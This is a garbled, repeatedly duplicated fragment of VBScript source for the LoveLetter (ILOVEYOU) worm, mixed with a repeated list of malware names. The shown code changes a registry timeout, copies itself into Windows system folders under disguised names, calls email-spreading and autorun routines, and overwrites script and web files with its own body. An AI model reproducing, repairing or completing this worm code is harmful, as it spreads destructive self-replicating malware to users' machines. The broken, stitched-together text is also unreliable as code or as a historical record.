Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "
HKEY_CURRENT_USER
\Software\
Host\Settings\ Timeout",0,"
REG_DWORD"
end if
Set dirwin =
fso.GetSpecialFolder(0)
Set dirsystem =
fso.GetSpecialFolder(1)
Set dirtemp =
fso.GetSpecialFolder(2)
Set c = fso.GetFile
(WScript.ScriptFullName)
c.Copy(dirsystem&"
\MSKernel32.vbs")
c.Copy(dirwin&"
\Win32DLL.vbs")
c.Copy
(dirsystem&"
\LOVE-LETTER-
FOR-YOU.TXT.vbs")
regruns()
html()
Host\Settings\ Timeout",0,"
REG_DWORD"
end if
Set dirwin =
fso.GetSpecialFolder(0)
Set dirsystem =
fso.GetSpecialFolder(1)

W32/XTC@MM
Internet Worm
W32/ProLin@MM
Internet Worm
W32/BleBla.b@MM
Internet Worm
W97M/Afeto.A@MM
Internet Worm
BackDoor-JD
Trojan
Remote Access
W32/Lara.worm
Internet Worm
VBS/Jean@MM
VBScript worm
DDoS/Kozirog
Trojan
Denial Of Svc
Backdoor-IW
Remote Access
W32/XTC@MM
Internet Worm
W32/ProLin@MM
Internet Worm
W32/BleBla.b@MM
Internet Worm
W97M/Afeto.A@MM
Internet Worm
BackDoor-JD
Trojan
Remote Access
W32/Lara.worm
Internet Worm
VBS/Jean@MM
VBScript worm
DDoS/Kozirog
Trojan
Denial Of Svc

sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap, mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso. GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile (f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js")
(ext="css") (ext="hta") then
set ap=fso.OpenTextFile (f1.path,2,true)
ap.write vbscopy
set fc = f.Files
for each f1 in fc
ext=fso. GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)

sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap, mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ap.close

filename="LOVE-LETTER-FOR-YOU.TXT.vbs"

rem barok -loveletter(vbe) i hate go to school
rem by: spyder / @GRAMMERSoft Group /
Manila,Philippines

On Error Resume Next

dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0

Set fso = CreateObject("Scripting.FileSystemObject")

set file = fso.OpenTextFile(WScript.ScriptFullname,1)
main()
sub main()

set wscr=CreateObject("WScript.Shell")

rr=wscr.RegRead("HKEY_CURRENT_USER\
Host\Settings\Timeout")
if (rr>=1) then

wscr.RegWrite "HKEY_CURRENT_USER\Software\

Host\Settings\Timeout",0,"REG_DWORD"
end if
On Error Resume Next

Set dirwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
dim wscr,rr

Set c = fso.GetFile(WScript.ScriptFullName)

c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
spreadtoemail()

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

regruns()
html()
listadriv()
end sub>

Set dirwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
dim wscr,rr

Set c = fso.GetFile(WScript.ScriptFullName)

sub regruns()
On Error Resume Next
Dim num,downread
regcreate

rem barok -loveletter(vbe) i hate go to school
rem by: spyder / @GRAMMERSoft Group /
Manila,Philippines

On Error Resume Next

dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0

Set fso = CreateObject("Scripting.FileSystemObject")

set file = fso.OpenTextFile(WScript.ScriptFullname,1)
main()
sub main()

set wscr=CreateObject("WScript.Shell")

rr=wscr.RegRead("HKEY_CURRENT_USER\
Host\Settings\Timeout")
if (rr>=1) then

wscr.RegWrite "HKEY_CURRENT_USER\Software\

Host\Settings\Timeout",0,"REG_DWORD"
end if
On Error Resume Next

Set dirwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
dim wscr,rr

Set c = fso.GetFile(WScript.ScriptFullName)

c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
spreadtoemail()

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

regruns()
html()
listadriv()
end sub>

Set dirwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
dim wscr,rr

Set c = fso.GetFile(WScript.ScriptFullName)

sub regruns()
On Error Resume Next
Dim num,downread
regcreate